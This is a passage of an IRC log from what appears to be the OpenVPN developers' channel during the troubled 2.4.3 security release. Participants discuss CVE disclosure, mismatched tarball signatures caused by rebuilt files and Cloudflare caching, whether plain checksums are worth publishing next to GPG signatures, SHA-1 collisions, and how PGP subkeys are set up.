CVEs are affected? I can re-roll if needed. 08:21 <@cron2> ecrist: 7 top-of-tree patches in master, pushed out today (committed monday night, but the repo was not public) 08:22 <@cron2> 5 from syzzer, 1 from me, 1 from guido 08:22 <@ecrist> stuff on @securitiy? 08:22 <@cron2> yep 08:22 <@ecrist> ok, I'll re-roll this then. 08:22 <@cron2> thanks :) 08:29 <@plaisthos> cron2: yeah, OPenSSL 1.1.0f does not compile on Android as result, since async stuff is undefined 08:29 <@plaisthos> probably however wrote that stuff, also uses a custom build system 08:34 <@dazo> [OT] hacking the HDD controller .... here's how a guy managed to boot a Linux kernel on it ... http://spritesmods.com/?art=hddhack&page=7 08:34 <@vpnHelper> Title: Sprites mods - Hard disk hacking - Other uses (at spritesmods.com) 08:35 <@ecrist> it's ok for me to list out the CVEs in the port update, right? 08:35 <@dazo> yes, that's fine 08:35 <@ecrist> and their brief descriptions, right? 08:36 <@dazo> absolutely, we've gone live ... it's all public now 08:36 <@ecrist> thanks, just want to be extra-sure. 08:36 <@dazo> Just got the CVE tracker bugs from RH, so going to push out the updates soonish too 08:40 <@mattock> signatures should be fixed now 08:47 <@ecrist> mattock: the download page lists EasyRSA 3 as "for UNIX-like operating systems" but it runs on Windows, too. 08:47 <@ecrist> Can you update that? 09:12 <@mattock> yeah 09:27 <@plaisthos> just windows 09:27 <@plaisthos> or windows (+cygwin)? 09:28 <@dazo> finally ... F24, F25, F26, EPEL-6 and EPEL-7 updates submitted .... the rest is up to the Fedora automation :) 09:36 <@dazo> mattock: see the mail from Simon Matter at -devel .... as you have the real sources which you uploaded ... could you generate the the checksums as a GPG signed block? 09:36 <@dazo> We should probably start to attach signed checksums to the release mails too 10:12 <@cron2> whatever happened to the checksums this time - we need to ensure it does not happen again 10:13 <@cron2> it's kind of silly if we do publish checksums, for a security relase, and they do not validate... 10:14 <@ordex> cron2: mattock: but how is that possible? a wrong .asc file was uploaded and then cached by cloudfare before you could replace it ? 10:16 <@cron2> ordex: I have no idea what happened. I did not verify the signatures, admittedly, just relied on dazo's script to do everything right - but dazo did, and that stuff was fine, then... 10:21 <@ordex> oh I see 10:30 <@cron2> mattock hinted on the list that his script rebuilds the tar balls, which sort of does not make sense if I already do release tarballs with signatures... 10:30 <@cron2> so, our process needs work 10:45 <@ecrist> cron2: I updated the PR for a tarball I rolled today from master 11:01 <@cron2> thanks 11:02 <@dazo> cron2: I think mattoc recreated the tarballs .... which invalidated your signatures 11:02 * cron2 points at "our process needs work" :) 11:08 * dazo need to run out for some errands .... back in the evening 11:09 <@dazo> but agreed ..... our processes needs work ... and needs to work way better than this 11:09 <@cron2> well-defined generation of tarballs and signatures, indeed, in only one place, with only one key 11:10 <@dazo> yupp 11:11 <@cron2> and then we write it down, and follow it :) 11:12 <@dazo> perhaps try to automate as much as possible of the whole process, so what we need to follow will just be max 2-3 steps :) 11:23 <@ecrist> maybe automate the entire process? 11:23 * ecrist ++ 11:25 <@cron2> ecrist: well, that's complicated, as usually dazo or I do the "git tag, git push" and mattock does the "build windows stuff, upload bundles" 11:26 <@cron2> (and it seems to be a bit complicated) 11:27 <@ecrist> but complicated doesn't mean it can't be automated, or made less complicated. 11:27 * cron2 points at "our process needs work" :) 11:29 <+krzee> <rkzzy> can someone confirm that the 2.4.3 release is signed by a different key than 2.4.2? 11:31 <@cron2> the git tag is signed by CA562812 (me), while 2.4.2 was signed by dazo 11:31 <@cron2> no idea what key ended up signing the tarballs 11:35 <+krzee> found it https://openvpn.net/index.php/open-source/documentation/sig.html 11:35 <@vpnHelper> Title: File Signatures (at openvpn.net) 11:59 < m-a> re mailing list discussion around Simon Matter, do NOT start providing useless checksums for the retarded setups. GnuPG signatures suffice. 11:59 < m-a> anything else is a waste of time and for delusional "security" 12:01 < m-a> BBL 12:10 < slypknot> openssl still provide checksums .. so i disagree with m-a 12:12 < m-a> useless nonsense. If someone counterfeits the download, the checksum is just as easily forged 12:12 < slypknot> no all people who use openvpn are going to do GnuPG .. so what is your impression of them ..... ? 12:13 < m-a> "they are treading dangerous ground" 12:13 < slypknot> casual users not security admins .. 12:13 < slypknot> and your method makes it worce for them 12:13 < m-a> yeah. I have no respect for people who take a half-based approach at "security". Everyone needs to do it right to protect the few that really need it. 12:13 < m-a> noä 12:13 < m-a> nope 12:14 < slypknot> what about older people who just want to use pia ? 12:14 < m-a> providing unprotected "checksums" is making matters worse. Download faults are detected by the compressor (xz, gzip) already. 12:14 < m-a> not getting my support and I will not see people wasting time on half-baked shit 12:14 < m-a> we're past that point for longer than a decade 12:15 < m-a> s/'re/'ve been/ 12:15 <+krzee> but how do you really feel? :D 12:15 < slypknot> what would yopu say to openssl about why they do provide checksums ? 12:15 < m-a> annoyed by proposals to half-baked <I shall not repeat that word> 12:17 < slypknot> excluding people because they don't know how to do gpg is simply an obnoxious developer point of view .. stuck up in your ivory tower 12:18 < m-a> people who believe checksums are useful are living in an ivory tower. 12:18 < m-a> anyways, I've made my point, and am not swayed by arguments. End of transmission on this topic. 12:19 < m-a> I shall not tolerate people setting up new illusions. 12:25 <+krzee> valid points that make sense to me 12:31 <@cron2> valdikss: what's the status of your radiusplugin fork? Is it stable and robust? (I heard you had crashes in the radiusplugin earlier on...) 12:53 <@ecrist> slypknot: when you sign something, you're actually signing the hash of the "thing" and not thing thing itself. 12:54 <@ecrist> m-a: you should be aware of that, as well. so, if you create a signature based on a broken algorithm, the signature will be broken, as well. 12:55 <@cron2> m-a's point is not that the signature algorithm is broken, but that it does not provide sufficent tamper-proofing 12:56 <@cron2> and right he is - if someone can tamper with the .tar.gz on the web server, he can change a .sha1.txt as well, but not a .asc 12:56 <@ecrist> right, I'm aware. But, "< m-a> people who believe checksums are useful are living in an ivory tower." caused me to point out that checksums *are* useful is still used with signatures. 12:56 <@cron2> OTOH there is benefit to the sha files - "easier comparison" - "so I have multiple tarballs, which one is *this*?" 12:57 <@ecrist> I signature that used md5 to checksum can be forged if I can produce the same md5. 12:57 <@cron2> while gpg is so binary "no, this is not the one!" but with no extra info 12:57 < m-a> ecrist: the mailing list thread was about isolated MD5 hashes, "MD5 is better than nothing" and that argument is invalid. 12:57 < m-a> neither is MD5 12:57 <@ecrist> yeah, I see that point, sure, I'm just picking nits on your broad generalizations. :P 12:58 <@cron2> m-a: detached SHA256s *are* better than nothing, because you can quickly copy one to a different medium (like, IRC) "is this what you are seeing?" - helps against honest mistakes, but of course not against tampering 12:58 < m-a> anyways, I've updated FreeBSD's head package, and will wait a few hours if someone screams and then if not see to the MFH to 2017Q2 branch, and then decide if I'll do the 2.3 update tonight or tomorrow night. 12:58 <@cron2> m-a: thanks 12:58 <@ecrist> m-a: there's an openvpn-devel update if you want to poke, too. 12:58 < m-a> against honest mistakes we do have the inherent checksum of the gzip or xz... 12:58 < m-a> ecrist: ENOTIME 12:59 < m-a> sorry, tomorrow night, please mail me the PR # without any ceremony, or put me in its Cc: 12:59 <@ecrist> I'll poke bdrewey or jpaetzel, then. :) 13:10 < slypknot> considering the millions of people who use openvpn, it is impossible to *expect* them *all* to be able to do gpg verify (for what ever reason, be it stupidity or cencorship etc) and so not including hashes is just cutting them off from any verification at all for no _good_ reason. 13:10 <@cron2> slypknot: those millions of people do not use *any* verification, so that argument is moot 13:10 < slypknot> infact the point is they have no choice .. 13:10 <@cron2> they just install what they find in their distribution repo, or on the download page on the web (and rely on code signing, if anything) 13:11 < Thermi> gpg --recv-key foo; gpg --verify $.sig is too hard? 13:11 < Thermi> Yes, that. 13:11 <@cron2> Thermi: for someone who has never seen a command line, it is 13:11 < Thermi> And that is more secure than stupid hashes. 13:11 < slypknot> maybe english is not a language you know 13:11 < slypknot> we are not all in the same boat as you 13:11 < Thermi> So how do they install openvpn at all without using the command line, when they downloaded it from the web? 13:11 < Thermi> *the openvpn site 13:11 < slypknot> they press install and thats it 13:11 <@cron2> click on "download openvpn-foo-I601.exe"? 13:11 < Thermi> Ah, the isntaller? 13:12 < Thermi> And how would they verify a hash then? 13:12 <@cron2> or click in YaST on "give me openvpn!" 13:12 < Thermi> I am pretty sure SUSE signs the packages and all the distros that use YaST have that enabled?! 13:12 <@cron2> my words - those few that would know what a signature/hash is, and what to do with it, are not "millions" 13:12 < slypknot> i'm not saying it is a good solution but it is something better than nothing and openssl still do it for all their releases 13:13 < slypknot> or are you calling openssl stupid as well ? 13:13 < Thermi> Yes. 13:13 <@cron2> openssl is not exactly a good role model for software processes 13:13 < Thermi> Some things are just stupid. 13:13 < slypknot> and openvpn is ........ 13:13 < slypknot> i'm done .. said my point 13:13 < Thermi> A lot of things in widespread software is just bad 13:13 < Thermi> Don't need to adopt those as well. 13:13 * slypknot laughhs at todays fiasco :D 13:13 < Thermi> Pick and choose. :) 13:13 <@cron2> slypknot: but your point is silly, and you should be able to see that as well 13:14 <@cron2> if you pull out "millions!" as an argument, and all these do not verify anything... 13:14 < slypknot> sorry .. i disagree 13:14 <@cron2> so, how many people do you know that validate signatures for stuff they install? 13:15 <@cron2> compared to the number of people that klick on the installer and trust things to work out fine 13:21 < slypknot> cron2: let's face it even you get fed up of idiots who use trac for user support .. people make mistakes all the time .. but having useful simple tools available is a great help .. and i re-iterate, not everybody is going to be able to do gpg (for what ever reason) 13:22 < slypknot> i am not saying a hash is as good as gpg .. but it is something 13:23 * slypknot is done on that subject 13:26 < slypknot> urg .. typical example : https://forums.openvpn.net/viewtopic.php?f=4&t=23227&p=71194#p71193 13:26 <@vpnHelper> Title: OpenVPN 2.4 and pure elliptic curve crypto setup - Page 3 - OpenVPN Support Forum (at forums.openvpn.net) 13:42 < slypknot> perhaps leaving all decisions about openvpn to developers it where the problem arises .. imagine if we left all the desicions about politics to politicians ... whoah ~! 13:43 < slypknot> but as this is not a devel question .. perhaps it does not belong here either 14:03 <@dazo> slypknot: a hash is only useful to detect "is file A and file B identical?". If you're worried that the download is modified, the hash value can be modified just as easily as the download itself - as there exist no way to be 100% sure what the real hash value should be. If the download got corrupted, the compression algorithm will complain loudly 14:04 <@dazo> In addition .... MD5 is horrendous, as there exist so many collision possibilities using today's CPU power. Even SHA1 is affordable when it comes to creating collisions 14:06 <@dazo> What GPG/PGP signatures gives, is similar to what CA certificates does to certificates. It is incredibly hard to manipulate. If you have the public key of the signer, you can validate that "yes, this signature is unmodified and matches the expected content of file A" 14:07 <@dazo> Hashes have their values ... but it MUST NOT EVER be used as a validation of "is my download in an origin state or have it been manipulated". 14:09 <@dazo> Now, what makes the OpenSSL approach somewhat better than putting it all on a single web server for download ... they put the hash values in the announcement e-mail, which is PGP signed 14:10 <@dazo> so that list of hashes is distributed through a distributed e-mail network, with no single central point of storage of those values ... PLUS the PGP signature ensures the hashes have not been modified 14:11 <@dazo> But ... just trusting that those hashes are valid without checking the PGP signatures ... is as useful as installing 3 very large and expensive locks on your entrance door and never lock the door 14:13 <@dazo> People believing they have "the real stuff" only based on a hash value without verifying the PGP signature play a high level security theatre. 14:13 <@dazo> (and that's all I have to say about this topic too) 14:32 < Thermi> dazo: pitfall: GPG signs a hash (sha1 by default), when creating a file signature. So configure it to use a secure algorithm. Otherwise collission attacks on signatures are also possible. :) 14:33 <@dazo> Thermi: yeah, that's true 14:46 <@syzzer> Thermi: collision attacks are not really applicable to this scenario, since *you* decide what to sign. collision attacks are applicable to scenario's where the attacker controls the data to be signed, like a CA signing a CSR. (still, we should use SHA2+, but this scenario is not broken *yet*) 14:47 < Thermi> ?! 14:47 < Thermi> The attacker doesn't need to do that 14:48 < Thermi> He/she just needs to find a collision for already signed data that he wants to have a valid sig for 14:48 < Thermi> GPG does this: s(h(data)) 14:48 <@syzzer> that would be second preimage, not a collision attack 14:48 < Thermi> Yep. 14:48 < Thermi> And still everyone calls it collision attack 14:48 < Thermi> Okay, except you. 14:48 <@syzzer> sha1's second preimage is not broken :) 14:49 <@syzzer> well, that's the cryptographic definition 14:49 < Thermi> Let's look. 14:49 < Thermi> https://shattered.io/ 14:49 <@vpnHelper> Title: SHAttered (at shattered.io) 14:49 <@syzzer> that's an identical prefix collision attack - not a second preimage 14:50 < Thermi> I don't really care what it is right now. ¯\_(ツ)_/¯ 14:50 < Thermi> SHA-1 is broken. Don't use it. 14:51 <@syzzer> I agree with you on the second part, even though 'just' SHA-1's collision resistance is broken ;-) 14:51 <@dazo> if the reality had just been such black-and-white scenario .... 14:58 < bhenc> hi! I'm hitting a strange error downloading the source tarball for openvpn-2.4.3 from http://supdate.openvpn.net/community/releases/openvpn-2.4.3.tar.gz . Downloading from three different locations produced a different filesize: 1422692 bytes on 2 locations, 1397306 bytes on the third location. The larger filesize seems strange 14:59 <@dazo> bhenc: meh .... sounds like cloudflare is still playing tricks on us :/ 15:00 <@cron2> syzzer: this is "master" or "master+2.4"? 15:00 <@syzzer> cron2: both 15:01 <@cron2> huh, doesn't apply to 2.4 15:02 <@cron2> seems some preliminary patch is missing 15:03 <@syzzer> hm, than that probably needs cherry-picking too 15:03 <@dazo> bhenc: for more info ... https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14911.html 15:03 <@vpnHelper> Title: Re: [Openvpn-devel] ***UNCHECKED*** Re: OpenVPN 2.4.3 released (with security fixes) (at www.mail-archive.com) 15:03 < bhenc> dazo: thanks! 15:03 <+krzee> Thermi: http://blog.distracted.nl/2009/01/shabr-sha-1-password-brute-forcer.html 15:03 <@vpnHelper> Title: Distracted: SHAbr, the SHA-1 password brute forcer (at blog.distracted.nl) 15:03 <@cron2> seems the build_openssl_mingw () function is missing 15:03 <+krzee> you may like that too Thermi 15:04 * cron2 is lazy today 15:07 <@vpnHelper> RSS Update - gitrepo: travis-ci: added gcc and clang openssl-1.1.0 builds <https://github.com/OpenVPN/openvpn/commit/aeac1139a34321a7f770ca20bfef886a21a89fe9> 15:11 < slypknot> out of curiosity, does this have a name : file3( file2( files1.zip ) + files1.SHA1 ).zip + file2.SHA1 ).zip + file3.SHA1 etc ? 15:12 <@cron2> Matroska? 15:13 < slypknot> as in .mkv ? 15:13 <@dazo> lol 15:13 < slypknot> ;) 15:14 <@cron2> https://en.wikipedia.org/wiki/Matryoshka_doll 15:14 <@vpnHelper> Title: Matryoshka doll - Wikipedia (at en.wikipedia.org) 15:14 <@cron2> intresting spelling :) 15:15 <@dazo> I went to the Russian wiki page to check if the spelling was more russian-like ..... but realised I don't grasp their charset :-P 15:23 < slypknot> same deal ;) https://en.wikipedia.org/wiki/Matroska 15:23 <@vpnHelper> Title: Matroska - Wikipedia (at en.wikipedia.org) 15:25 < slypknot> ok .. i'll just admit defeat .. you are of course right about gpg vs hash .. it was really hot today 15:31 < slypknot> it's not going away tho ;) ML 15:56 < CRCinAU> dazo: you mean what's the point when you consider if you can intercept the source tarball, you can also replace the hash file.... 15:58 <@dazo> CRCinAU: yes; if you don't know if you can trust the source tarball, how can you trust the hashes served from the same "server" (read: hostname)? 15:59 < CRCinAU> question is, how far do you go to call it an acceptable risk? :) 15:59 <@dazo> totally unacceptable in my eyes 16:00 < CRCinAU> at least RPMs are signed, so its somewhat unlikely to be forged in-flight 16:00 <@dazo> right, but that implies the tarballs used to produce the RPMs are unmodified too 16:00 < CRCinAU> also, TIL that in 1938, someone did the first music visualisation: https://www.youtube.com/watch?v=they7m6YePo 16:01 <@dazo> hence, I've also added GPG verification as part of the building step for the RPMs 16:01 < CRCinAU> yarp 16:02 <@dazo> this might not be so clear ... but to upload the source tarball + .asc file to Koji, you need to be authenticated in Koji .... those files are uploaded separately, to a lookaside cache 16:03 < slypknot> it's a question of trust ! 16:03 <@dazo> the openvpn.spec file and the file containing the public key used for verification, as well as any other minor files (patches, additional docs, etc) are stored in the git repository 16:04 < CRCinAU> dazo: also, +1 from me for dropping .tar.gz and .zip :) 16:04 <@dazo> so already there, in koji, manipulating these files gets quite hard .... as you need to modify it several places 16:04 < CRCinAU> not that I have any say at all lol 16:05 <@dazo> so when the koji builders gets told to do an openvpn build ... it pulls downs all files from these two "sources", creates the src.rpm ... and then kicks of the real building of the RPMs, where the gpg signature check is required to pass before running ./configure 16:06 < CRCinAU> yeah - I feed my .spec to mock to build a srpm, then punt the srpm to mock to build 16:06 <@dazo> then all these generated RPMs gets signed by Fedora, through some magic inside the release machinery 16:06 < CRCinAU> my system is somewhat simpler, but has a point of failure of where I manually pull the source. 16:06 <@dazo> right, so ... koji is actually an automated mock service, which understands git repositories 16:06 < CRCinAU> *nods* 16:07 < CRCinAU> like 'in theory', if someone could intercept the kernel source as I pull it down, then they could pwn my kernel packages 16:07 <@dazo> that's right 16:07 < CRCinAU> I say 'in theory', because its easy in theory - but practice is a little harder to pull off without rather large resources 16:08 < CRCinAU> but again - if they can do that, if I also pull the checksum from kernel.org, then it makes no difference. 16:08 < slypknot> or insider help ;) 16:08 <@dazo> and when things involved git ... and if you have a possibility to verify a git pull from multiple sources, then it gets really hard to manipulate things 16:09 < CRCinAU> yeah.... I wonder if its an actual practical attack vector, or more an academic one..... 16:09 <@dazo> that is one of the reasons we push our openvpn git trees to gitlab, github and sourceforge 16:10 <@dazo> Who was it who said something like: It is only impossible until it is not 16:10 < CRCinAU> true 16:10 < CRCinAU> I think that was mainly the aim behind the auditing of root CA certs 16:11 < CRCinAU> ie: https://www.certificate-transparency.org/ 16:11 <@dazo> yeah 16:12 < CRCinAU> cos beating SSL is a major hurdle that can probably be overcome somewhat easily if you have a trusted CA ;) 16:12 < slypknot> dazo: Nelson Mandela .. apparently https://impossiblehq.com/25-impossible-quotes/ 16:12 <@vpnHelper> Title: 25 Quotes To Inspire You To Do The Impossible (at impossiblehq.com) 16:12 < CRCinAU> but even just beating SSL is hard if you don't have a trusted CA. 16:13 < CRCinAU> so MITM is getting kind of harder - which is fantastic. 16:13 <@dazo> CRCinAU: wasn't it DigiNotar who got smacked and disappeared just for that? 16:13 < CRCinAU> but until those projects are pretty much complete, then eh.... 16:13 < CRCinAU> maybe.... startssl got the smackdown too - but for bad 'practices' 16:13 <@dazo> yeah 16:13 < CRCinAU> which I somewhat both agree with and disagree with.... but eh - like I said before, who am I..... 16:14 <@dazo> yeah, security is best served in layers :) 16:14 < CRCinAU> see, the problem is, TLS issues are *fucking everywhere* 16:14 < slypknot> it's a pandoras box and we keep putting things into it ! 16:15 < CRCinAU> my WPA2 Enterprise AP kit at work only supports TLS1.0 and a cipherset that is considered obsolete. 16:15 < CRCinAU> however, the reality is, there's THOUSANDS of these things worldwide 16:15 < CRCinAU> I mean, we're talking 802.11AC capable kit 16:15 <@dazo> which is why VPNs are good ;-) 16:16 < slypknot> stick openvpn on opnwrt 16:16 <@dazo> you don't need to trust the physical network level :) 16:16 < CRCinAU> yeah, but its normally 'good enough' 16:16 < CRCinAU> especially if you have SSL with real ciphers over the top 16:16 <@dazo> yeah, it's all about the security assessments 16:17 < slypknot> good enough .. like "totally unacceptable" ? 16:17 < CRCinAU> the finance industry is fucked with the march to new ciphers 16:17 <@dazo> hehehehe 16:17 < slypknot> the finance industry is fucked .. lol 16:17 < CRCinAU> there's millions of bits of kit deployed that is considered obsolete now 16:17 < CRCinAU> but the certification process takes so long to do, you're fucked. 16:17 <@dazo> do I need to say SS7 ? 16:18 < CRCinAU> banish that word ;) 16:18 <@dazo> :) 16:18 < CRCinAU> for example, we've got a chip & pin EMV reader we've developed at work.... its been under certification for nearly 10 years. 16:18 <@dazo> eek 16:19 < CRCinAU> yet if we go 'fuck certification', I can wire you up an EMV reader with about $30 of parts from ebay 16:19 < slypknot> CRCinAU: "the finance industry" will be the very last one to go .. no money no nothing 16:19 < CRCinAU> but then it has to be tamper proof... forget keys if its popped open... resistant to reverse engineering - even if you hook up to the main PCB 16:20 < CRCinAU> the keypad on it has to be armoured, waterproof, able to withstand millions of key presses 16:20 * dazo has been involved with online payment services in former jobs 16:20 < CRCinAU> online is a walk in the park compared to physical units 16:21 < CRCinAU> as you know, I do core online stuff at work 16:21 <@dazo> (and even developed the production system for personalizing payment cards) 16:21 < CRCinAU> dazo: my latest stuff is integrating directly into MPGS :) 16:21 <@dazo> that's cool :) 16:22 < CRCinAU> that reminds me - I have one goal today..... put an ASCII cock on my boss' credit card statement. 16:22 < CRCinAU> B======D~~ 16:22 < CRCinAU> *wipes a tear from the corner of his eye* its the little things ;) 16:23 <@dazo> heh 16:23 < CRCinAU> urgh 16:23 < CRCinAU> EPEL is still screwed 16:24 < CRCinAU> 153 new emails from systems complaining. 16:25 <@dazo> yeah, got that myself .... yum --disablerepo=* --enablerepo=epel clean all 16:25 <@dazo> that resolved it on my boxes 16:27 <@dazo> (perfect task for an ansible playbook :)) 16:29 <@dazo> on my boxes, the updateinfo.xml file was an SQLite3 database 16:32 * slypknot is a little surprised that openvpn got caught out by .tar.gz date/time fluctuations 16:37 <@dazo> slypknot: if you recreate the tarball ... the timestamp inside the tar container is modified 16:37 <@dazo> the tar format is not deterministic at all 16:39 < bhenc> /3 16:42 < slypknot> dazo: i know .. hence my surprise /) --- Day changed Thu Jun 22 2017 01:56 <@cron2> mornin (again) 02:01 < eworm> Oh, the release tarballs changed? 02:16 <@cron2> syzzer: you've been busy... 02:36 < eworm> *sigh* 02:37 < eworm> What is the correct checksum for xz compressed tarball? 02:41 < eworm> I still get different checksums downloading from swupdate.openvpn.org or swupdate.openvpn.net 02:45 <@syzzer> cron2: yeah, flushing my queue :) 02:46 <@syzzer> now trying to figure out how to teach ubuntu 17.04 + network manager to add a DNS server... 02:46 <@syzzer> the good old update-resolv-conf script doesn't seem to work anymore 02:47 * syzzer is pretty fed up with all this new DNS magic :( 03:04 <@d12fk> is there a typo on the wiki page or in the commit message? 03:04 <@d12fk> "This issue was found by Guido Vranken and has been assigned CVE-2017-7512. It has been fixed in commit "Fix remote-triggerable memory leaks (CVE-2017-7521)" 03:04 <@d12fk> 7512 vs. 7521 03:05 <@d12fk> this page: https://community.openvpn.net/openvpn/wiki/VulnerabilitiesFixedInOpenVPN243 03:05 <@vpnHelper> Title: VulnerabilitiesFixedInOpenVPN243 – OpenVPN Community (at community.openvpn.net) 03:17 <@cron2> d12fk: 7521 is right 03:17 <@d12fk> thought so, thanks 03:18 <@cron2> 7508, 7520, 7521, 7522 03:22 <@ordex> morning ! 03:42 <@cron2> d12fk: you did not send the mail wrt hackathon yet, did you? 03:44 < Kind> hey guys 03:45 < Kind> last releases 2.4.3 and 2.3.17 seem to be signed with an unknown pgp key 03:48 < Kind> Signature made Wed 21 Jun 2017 01:19:19 PM MSK using RSA key D72AF3448CC2B034 03:49 < Kind> It's neither listed on your signatures page nor can be found via pgp keyservers 03:55 <@cron2> that's one of the subkeys of the security@openvpn.net keys 03:56 <@d12fk> cron2: didn't come around to it before vacation, and now i'm in vacation aftermath mode 03:56 <@cron2> dazo: can you do what is needed to distribute the pubkeys for the subkeys (whatever this is called)? 03:56 <@cron2> d12fk: just reminding you :) 03:57 <@d12fk> cron2: it's on "the list", figured we have time when we want to have t in oct/nov 03:57 <@cron2> available weekends are filling quickly :) 03:58 <@d12fk> true 04:00 < Kind> okay, thank you :) I just had previously a failed installation attempt since the actual checksum wasn't matching the one in gentoo portage tree 04:00 <@cron2> we're still trying to figure out what went wrong... the tarballs signed with D72AF3448CC2B034 are the ones I did, but one of the scripts regenerated tarballs and signatures... 04:00 <@cron2> (or so it seems) 04:01 < Kind> that explains the changed checksum 04:06 <@ordex> Kind: failing here on gentoo too right now 04:07 <@ordex> Kind: are you the ebuildmaintainer ? 04:07 < Kind> no, I'm not 04:07 * dazo looks up 04:07 <@ordex> ok - right now I got a size mismatching with what we have in portage 04:08 <@dazo> eworm: I mailed the signatures to the ML 04:08 <@dazo> eworm: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14911.html 04:08 <@vpnHelper> Title: Re: [Openvpn-devel] ***UNCHECKED*** Re: OpenVPN 2.4.3 released (with security fixes) (at www.mail-archive.com) 04:13 <@dazo> Kind: I'm puzzled you didn't find the key ... http://pgp.mit.edu/pks/lookup?search=security%40openvpn.net&op=index 04:14 < eworm> OK, that matches the file with sha256sum 7aa86167a5b8923e54e8795b814ed77288c793671f59fd830d9ab76d4b480571 04:14 < eworm> dazo: Thanks! 04:15 <@dazo> mattock: I believe you have listed the wrong information about the security list key on this page: https://openvpn.net/index.php/open-source/documentation/sig.html 04:15 <@vpnHelper> Title: File Signatures (at openvpn.net) 04:16 <@dazo> ahhh 04:16 <@dazo> it is kinda correct, it is just not listing the key ID which is used for the signing ... due to our subkey setup 04:17 <@dazo> mattock: Signing Key ID needs to be: 0xD72AF3448CC2B034 04:17 <@dazo> while the master key ID is 0x12F5F7B42F2B01E7 04:18 < Kind> yes sorry it's my fault. I was searching only for matching id 04:19 <@dazo> (and we should list the long key IDs not the short ones .... The default in gpg is easily changed by appending "keyid-format 0xlong" to ~/.gnupg/gpg.conf ) 04:19 <@dazo> mattock: ^^^ 04:20 <@dazo> Kind: well, we can share that blame, as we're also confusing people on our web page as well 04:22 <@dazo> And some rationale why to use long key ids .... https://security.stackexchange.com/questions/84280/short-openpgp-key-ids-are-insecure-how-to-configure-gnupg-to-use-long-key-ids-i 04:22 <@vpnHelper> Title: key management - Short OpenPGP key IDs are insecure, how to configure GnuPG to use long key IDs instead? - Information Security Stack Exchange (at security.stackexchange.com) 04:32 <@cron2> dazo: well, the signing key ID will change, depending on who does the signing 04:33 <@cron2> all "security@openvpn.net" but other subkeys 04:33 <@cron2> how can we reflect that on the page? 04:33 <@dazo> cron2: nope ... the signing key id is the same for all of us 04:33 <@cron2> dazo: it is? ok, good :) 04:33 * cron2 is confused with this subkey stuff 04:35 <@dazo> The private subkey which more of us holds, can only be used to sign and decrypt data. The master key, which only I have access to can be used to sign other keys, generate new subkeys, change identity and so on 04:35 <@cron2> so you gave the *same* subkey to us - I thought everyone had their own 04:36 <@dazo> Well, I could probably have done that as well .... but considering we only wanted this current setup to be for a limited time .... I didn't go that far ... I'd have to script that then 04:36 <@dazo> (and scripting gpg stuff is fairly hard) 04:36 * dazo is lacking a proper API for GPG operations 04:36 <@dazo> s/lacking/missing/ 04:37 * cron2 fixes his assumptions and is all good :-) 04:37 <@dazo> :) 05:41 * CRCinAU yawns 05:53 <@ordex> openvpn on gentoo has been fixed :p 05:53 <@ordex> I mean, the ebuild metadata 05:59 < Kind> yes, thank you 06:00 < Kind> updated a while ago 06:02 < Kind> another good thing about what happened, I haven't previously noticed you guys run a debian repository with recent builds 06:19 <@cron2> he said "debian" and "recent" in the same sentence... 06:19 * cron2 ducks 06:20 < Kind> :D 06:21 < Kind> one of my VPS remotes is running it since the choice was only between debian and centos 06:22 <@plaisthos> success armv8 openssl compiled 06:29 < CRCinAU> cron2: recent in debian terms is about 4 weeks from something being EOL'ed 07:14 <@ecrist> and by 4 weeks from you mean 4 weeks after it's been EOL'd. 07:46 <@dazo> mattock: ....... it looks like the wrong signature is in cloudflare too :/ 07:46 * dazo really ponders to just upload tar.xz files to the wiki .... and point users at it now 07:47 * dazo does that now. 07:48 <@ordex> may I ask why we do use cloudfare for the server with the files? 07:49 <@dazo> its wanted by the infra guys at the company 07:57 <@ordex> oh ok 07:59 < eworm> You should think about a new release... 08:00 <@ordex> mh eworm might be right. that would end the game of "which file is right and which is wrong"...let's just make a "good" new minor 08:01 <@ordex> I don't want to step in and increase the noise .. but was understood why we ended up with wrong hashes/sigs ? 08:05 * slypknot nudges ordex for ipv6pf rebase ;) 08:06 <@ordex> :) 08:06 <@ordex> yeah 08:06 < slypknot> ordex: the main reason is because there seems to be some nasty errors included with 2.4_rc2 08:07 < slypknot> not the pf but other things 08:07 <@ordex> oh ok 08:08 < slypknot> for example .. the windows binary does not appear to like inline certs 08:08 < slypknot> any way .. when you get time :) 08:09 <@ordex> oh that's yet another problem 08:09 <@ordex> although, it should like them :P 08:09 < slypknot> my guess is rc2 is not a good candidte to run for tests 08:10 < bhenc> dazo: I'd be wiling to mirror the openvpn releases. You could host a invite-only rsync server 08:10 <@syzzer> d12fk: there was - I fixed it. Should have been 21. 08:14 <@plaisthos> bin/ld: error: conditional branch to PLT in THUMB-2 not supported yet. 08:14 <@ordex> slypknot: I'd suggest using the latest stable release or master 08:14 <@plaisthos> Did I mention that I hate building OpenSSL? 08:16 <@ordex> lol 08:16 <@ordex> no need 08:16 <@ordex> we all do :D 08:17 <@dazo> Here: http://community.openvpn.net/openvpn/wiki/release-packages-2.4.3-2.3.17 08:17 <@vpnHelper> Title: release-packages-2.4.3-2.3.17 – OpenVPN Community (at community.openvpn.net) 08:19 < CRCinAU> dazo: I build mine with openssl: http://openwrt.crc.id.au/r4433+48-680a5c5/apu2/CHECKSUM 08:21 <@dazo> ordex: a new release can calm the noise .... but if that is screwed up again .... 08:21 <@ordex> dazo: yeah, that's why I asked if the root ause was found 08:22 <@ordex> if not, then it does not make sense to risk again 08:22 <@dazo> that mattock rebuilds the tar balls .... and uploaded the wrong ones 08:22 < CRCinAU> wait, did we have a pitchfork moment and I missed it? 08:22 <@dazo> on the ML :) 08:22 < CRCinAU> oh that? 08:22 < CRCinAU> pffft 08:23 <@plaisthos> classic one ;) 08:23 * dazo is grumpy, have empty stomach, dramatically low blood sugar ..... and is immensely pissed at cloudflare now 08:23 <@plaisthos> x86_64 and armv8 compile without problems 08:23 < CRCinAU> just tell em that the last release was botched, this one got botches, so we're going to make it a new tradition and just add random hashes to the checksum files 08:23 < SviMik> syzzer hi! I was looking at your recvmmsg patch. have you done something since 2016-12-24 or is that idea abandoned? 08:23 <@plaisthos> just dictch all non 64 bit android smartphones :P 08:23 < CRCinAU> keep em guessing, you know? 08:24 <@dazo> CRCinAU: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14937.html .... https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14947.html 08:24 <@vpnHelper> Title: Re: [Openvpn-devel] OpenVPN 2.4.3 released (with security fixes) (at 